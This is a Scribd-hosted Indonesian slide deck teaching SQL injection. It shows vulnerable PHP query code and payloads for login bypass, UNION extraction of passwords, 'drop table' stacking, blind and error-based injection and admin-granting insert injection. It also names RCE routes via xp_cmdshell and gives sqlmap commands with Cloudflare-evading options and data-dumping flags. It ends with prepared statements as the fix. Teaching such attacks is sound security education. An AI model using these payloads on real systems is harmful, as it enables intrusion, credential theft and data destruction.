0% menganggap dokumen ini bermanfaat (0 suara)
27 tayangan31 halaman

02 SQL Injection

sqli

Diunggah oleh

fadlihck
Hak Cipta
© © All Rights Reserved
Kami menangani hak cipta konten dengan serius. Jika Anda merasa konten ini milik Anda, ajukan klaim di sini.
Format Tersedia
Unduh sebagai PDF, TXT atau baca online di Scribd
0% menganggap dokumen ini bermanfaat (0 suara)
27 tayangan31 halaman

02 SQL Injection

sqli

Diunggah oleh

fadlihck
Hak Cipta
© © All Rights Reserved
Kami menangani hak cipta konten dengan serius. Jika Anda merasa konten ini milik Anda, ajukan klaim di sini.
Format Tersedia
Unduh sebagai PDF, TXT atau baca online di Scribd
Anda di halaman 1/ 31

SQL Injection

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/


Apa itu SQL Injection?
SQL injection adalah kelemahan aplikasi di mana penyerang/attacker bisa mengubah
query yang akan dikirimkan ke database.

SQL Injection bisa terjadi bila:

Aplikasi memakai database dan mengakses data dengan SQL


Ada input yang bisa diubah user/attacker
Input tersebut mejadi bagian dari query database yang tidak diescape

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 2


Aplikasi dan database
Aplikasi bisa mengambil data dari database tanpa input user

<?php
$mysqli = new mysqli("localhost", "user", "password", "database");

$result = $mysqli->query("SELECT news_title from news order by date desc");


while ($row = $result->fetch_assoc()) {
echo $row['news-title'] . "<br>";
}
$mysqli->close();
?>

Catatan: berikutnya untuk mempersingkat, kode new mysqli dan $mysqli->close()


tidak ditampilkan pada slide-slide berikut

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 3


Aplikasi dengan input user
Biasanya berbagai input asalnya dari user:

<?php
$result = $mysqli->query("SELECT kecamatan FROM info_provinsi where id_provinsi='".$_GET['prov']."'");
while ($row = $result->fetch_assoc()) {
echo $row['kecamatan'] . "<br>";
}
?>

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 4


Sumber data
Perhatikan:

sebagian aplikasi tidak memiliki input dari user


sebagian aplikasi tidak mengambil data dari database SQL (bisa dari API atau
sumber lain)
sebagian aplikasi melakukan query dengan aman (menggunakan prepared
statement)

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 5


Mengetahui adanya SQL Injection
Biasanya cukup dengan menambahkan ' dan melihat apakah ada error messagenya.
Dalam contoh di atas, jika input tidak mengandung petik, query menjadi seperti ini:

SELECT kecamatan FROM info_provinsi where id_provinsi='1';

Tapi jika inputnya adalah petik tunggal:

SELECT kecamatan FROM info_provinsi where id_provinsi='1'';

Dua tanda petik ini akan menyebabkan error

Contoh:

https://korban.my.id/sql/query.php
Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 6
Tidak semua SQL injection menghasilkan error
Kadang menghasilkan output yang tidak wajar, misalnya:

halaman kosong
output tidak sesuai (misalnya field nama berisi tanggal lahir)
layout tidak benar (karena ada data yang hilang)

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 7


Login Bypass
Payload paling sederhana adalah:

' or 1=1 --

Jika kodenya seperti ini:

$query = "SELECT count(*) from users where user='$user' and password='$pasword'";


$result = $mysqli->query($query);

if ($result->num_rows > 0) echo 'Logged in successfully!'; else echo 'Login failed.';

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 8


Ekstraksi data
Dengan menggunakan SQL Union, kita bisa mengambil data dari tabel lain. Ini bisa
dilakukan dengan union.

select name,email from users where id='X123';

Menjadi:

select name,email from users where id='X123'


union all select login,password from users -- ';

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 9


Filter petik kadang tidak cukup
Menghapus petik saja kadang tidak cukup, karena kadang masih bisa dieksploitasi
dengan menggunakan berbagai trik database

Contoh:

https://korban.my.id/sql/actor-badfilter.php?id=1

https://korban.my.id/sql/actor-badfilter.php?id=1+or+first_name%3D0x6564

Sebagai catatan: kadang filtering petik saja cukup, tapi hanya di kasus tertentu

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 10


Multiple statement
Kombinasi antara library dan database tertentu memungkinkan programmer
mengirimkan beberapa query dalam satu string

select username from users where nama='joe'; drop table users

Catatan: Kebanyakan DBMS tidak mendukung ini.

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 11


Blind SQL injection
Kadang tidak ada output sama sekali, hanya error/tidak error (atau kosong vs ada
response). Dalam kasus seperti ini kita bisa menggunakan "content-based" SQL
injection.

Kenapa tidak ada output? kadang output hanya masuk ke log internal atau sekedar
masuk variabel yang tidak ditampilkan ke user.

select is_premium from users where user='yohanes';

Jika premium, maka menu untuk user premium muncul.

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 12


Eksploitasi Content-based blind SQL
Tambahkan AND dan ekspresi yang selalu true atau selalu false

select is_premium from users where user='yohanes'


union all
select password from users where user='admin' and left(password,1)='a';

Jika huruf pertama password adalah 'a', maka statement ini jadi true, jika bukan 'a'
maka jadi false

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 13


Optimasi
Untuk optimasi, kita tidak melakukan pemeriksaan sekuensial, kita bisa melakukan
binary search.

Ini lebih mudah diotomasi dengan program (baik buatan sendiri atau sqlmap).

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 14


Time Based blind SQL injection
Kadang-kadang output sama persis. Misalnya ada query is_premium seperti di atas,
tapi hanya digunakan untuk catatan internal berapa banyak pengguna premium
menggunakan halaman tertentu.

Menggunakan AND, dan menggunakan SLEEP, atau query lain yang butuh waktu
lama.

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 15


Extract data dengan error message
Di MySQL ada fungsi XPATH

www.example.com/index.php?view=-42" and extractvalue(0x0a,concat(0x0a,(select database())))--


Output : XPATH syntax error: ' namadatabase'

Ini bisa digunakan juga pada sql injection yang sifatnya insert .

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 16


SQL Injection pada insert
Insert new user ( is_admin diset 0)

insert into users(username, passwd, is_admin) values ($username, $passwd, 0);


insert into users(username, passwd, is_admin) values ('yohanes', 'abc123', 0);

Jika ada injection di username : yohanes', 'mypass', 1); --

insert into users(username, passwd, is_admin) values ('yohanes', 'mypass', 1); -- , 'abc123', 0);

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 17


RCE
DBMS bisa digunakan untuk mendapatkan shell.

Berdasarkan pengalaman: kebanyakan database yang digunakan di aplikasi internet


jarang memiliki bug ini, tapi yang intranet sering ditemui.

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 18


Teknik RCE
Tekniknya berbeda-beda:

MSSQL: xp_cmdshell bisa digunakan untuk menjalankan perintah langsung (jika


user memiliki hak), fungsi-fungsi lain seperti sp_oacreate / sp_oamethod juga
bisa digunakan
Postgres/MySQL: menulis file shell langsung (permission ini jarang diberikan),
atau meload file .so yang berisi UDF (user defined function)

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 19


sqlmap
Saat ini merupakan program yang paling banyak digunakan.

Open source, isa diextend dengan plugin jika butuh pemrosesan khusus.

Sebelumnya banyak program closed source lain

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 20


sqlmap GET
Intinya adalah: copy paste URL, lalu berikan ke sql map

$ python sqlmap.py -u "https://korban.my.id/sql/actor.php?id=1"

Atau kalau sudah tahu parameter apa yang perlu dicek, sertakan dengan -p

$ python sqlmap.py --random-agent -u "https://korban.my.id/sql/actor.php?id=1" -p id

Dalam contoh ini --random-agent supaya user agent-nya bukan sqlmap (akan
langsung diblokir Cloudflare)

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 21


sqlmap POST
Untuk POST ada dua alternatif:

mengisikan nilai form di command line ( --data )


membuat file request (copy paste dari Burp), ini berlaku juga untuk semua jenis
request

Menggunakan file request akan lebih praktis: segala macam cookie dan authentication
bisa disertakan di dalam filenya

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 22


Request file
Bagian yang dicurigai bisa langsung ditandai dengan *

GET /app/v1/image/banner?placement=pop_up_banner* HTTP/1.1


Host: example.com
Accept: */*
Accept-Encoding: gzip, deflate
Cookie: _ttp=2JfD7QId47T1bJGAObz5EdOTd23;
Accept-Language: en-us
User-Agent: Female Daily/4.0.0 iPhone11,6 iOS/14.3 CFNetwork/1209 Darwin/20.2.0

sqlmap.py -r file.txt

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 23


dumping data
-a atau --all dump semua

--schema mendapatkan schema

--dbs list database

--current-user mendapatkan user saat ini

-D dbname --tables mendapatkan table di database

-D dbname -T tablename --columns mendapatkan table di database

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 24


sqlmap tingkat lanjut
SQLMap bisa diberi skrip tambahan (tamper script), baik built in, maupun custom
(buatan sendiri)

Contoh:

--tamper=apostrophemask,apostrophenullencode,base64encode

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 25


SQLmap dan Proxy
Dengan opsi --proxy SQLMap bisa dipaksa melakukan koneksi via Burp/Zaproxy

Kita bisa melihat apa saja request yang dikirimkan oleh sqlmap

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 26


Session timeout
Untuk menghindari session timeout, ada beberapa opsi:

Kunjungi URL yang akan mengextend session, dan berikan ke --safe-url (atau --
safe-post )

Tentukan berapa sering URLnya perlu dikunjungi dengan --safe-freq dan gunakan
isi file dari --save-req

Alternatifnya adalah dengan session handling Burp

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 27


SQL injection cheatsheet
MySQL
MS SQL
Oracle
Postgres SQL
DB2

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 28


Second order SQL injection
User bisa memasukkan data, misalnya nomor identitas (nomor identitas ini bisa
mengandung huruf misalnya nomor paspor)
User memasukkan ' or 1=1 -- , dan data tersimpan baik-baik saja (SQL insert
ditangani dengan baik)
Di halaman lain ada query untuk mendapatkan paspor ( $paspor=
get_nomorid($user) )

Nomor paspor ini dipakai di query lain select * from approved_id where
id=$paspor .

Jadi meskipun pada halaman ini tidak ada input user, tapi masih bisa ada SQL injection

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 29


Mengatasi SQL injection
Gunakan prepared statement:

select actor_name where actor_id = ?

Bind/set parameter dengan variabel.

Library akan otomatis melakukan escaping jika diperlukan.

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 30


Lisensi Slide
CC BY-SA 4.0 DEED: Attribution-ShareAlike 4.0 International

Sederhananya:

Slide ini silakan digunakan untuk keperluan apapun


Slide ini boleh dimodifikasi,
Boleh untuk tujuan komersial.
Slide ini dan hasil modifikasinya harus memiliki lisensi yang sama.

Yohanes Nugroho - 2024 - https://creativecommons.org/licenses/by-sa/4.0/ 31

Anda mungkin juga menyukai